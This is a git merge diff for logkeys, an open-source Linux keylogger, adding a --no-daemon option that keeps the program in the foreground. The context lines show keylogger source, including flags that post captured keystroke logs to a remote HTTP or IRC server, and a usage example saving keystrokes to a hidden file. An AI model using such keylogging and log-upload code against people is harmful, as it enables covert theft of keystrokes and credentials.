Merge pull request #155 from sateler/run_in_foreground_option
Added flag to run in foreground, no daemon (--no-daemon switch)
This commit is contained in:
commit
bdfa78af1c
|
@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works!
|
|||
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
|
||||
.br
|
||||
[\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR]
|
||||
.br
|
||||
[\fB--no-daemon\fR]
|
||||
.br
|
||||
.B logkeys \fB-k\fR
|
||||
.br
|
||||
|
@ -133,6 +135,11 @@ by a (PHP) script.
|
|||
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
|
||||
is accessible in PHP via $_FILES['file'] variable.
|
||||
|
||||
.TP
|
||||
\fB-\-no-daemon\fR
|
||||
When this option is set, logkeys runs in the foreground.
|
||||
Useful when printing output to stdout.
|
||||
|
||||
.SH FILES
|
||||
.TP
|
||||
\fB/var/log/logkeys.log\fR
|
||||
|
|
|
@ -33,6 +33,7 @@ struct arguments
|
|||
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
|
||||
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
|
||||
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
|
||||
#define FLAG_NO_DAEMON 0x40 // don't daemonize process, stay in foreground, --no-daemon switch
|
||||
} args = {0}; // default all args to 0x0 or ""
|
||||
|
||||
|
||||
|
@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv)
|
|||
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
|
||||
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
|
||||
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
|
||||
{"no-daemon", no_argument, &flags, FLAG_NO_DAEMON},
|
||||
{0}
|
||||
};
|
||||
|
||||
|
|
|
@ -422,12 +422,14 @@ int main(int argc, char **argv)
|
|||
|
||||
set_signal_handling();
|
||||
|
||||
int nochdir = 0;
|
||||
if (args.logfile[0] != '/')
|
||||
nochdir = 1; // don't chdir (logfile specified with relative path)
|
||||
int noclose = 1; // don't close streams (stderr used)
|
||||
if (daemon(nochdir, noclose) == -1) // become daemon
|
||||
error(EXIT_FAILURE, errno, "Failed to become daemon");
|
||||
if (!(args.flags & FLAG_NO_DAEMON)) {
|
||||
int nochdir = 0;
|
||||
if (args.logfile[0] != '/')
|
||||
nochdir = 1; // don't chdir (logfile specified with relative path)
|
||||
int noclose = 1; // don't close streams (stderr used)
|
||||
if (daemon(nochdir, noclose) == -1) // become daemon
|
||||
error(EXIT_FAILURE, errno, "Failed to become daemon");
|
||||
}
|
||||
close(STDIN_FILENO);
|
||||
// leave stderr open
|
||||
if (args.logfile != "-") {
|
||||
|
@ -460,7 +462,9 @@ int main(int argc, char **argv)
|
|||
|
||||
// now we need those privileges back in order to create system-wide PID_FILE
|
||||
seteuid(0); setegid(0);
|
||||
create_PID_file();
|
||||
if (!(args.flags & FLAG_NO_DAEMON)) {
|
||||
create_PID_file();
|
||||
}
|
||||
|
||||
// now we've got everything we need, finally drop privileges by becoming 'nobody'
|
||||
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD
|
||||
|
|
|
@ -30,6 +30,7 @@ void usage()
|
|||
" --post-http=URL POST log to URL as multipart/form-data file\n"
|
||||
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
|
||||
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
|
||||
" --no-daemon run in foreground\n"
|
||||
"\n"
|
||||
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
|
||||
" logkeys -s -d event6\n"
|
||||
|
|
Loading…
Reference in New Issue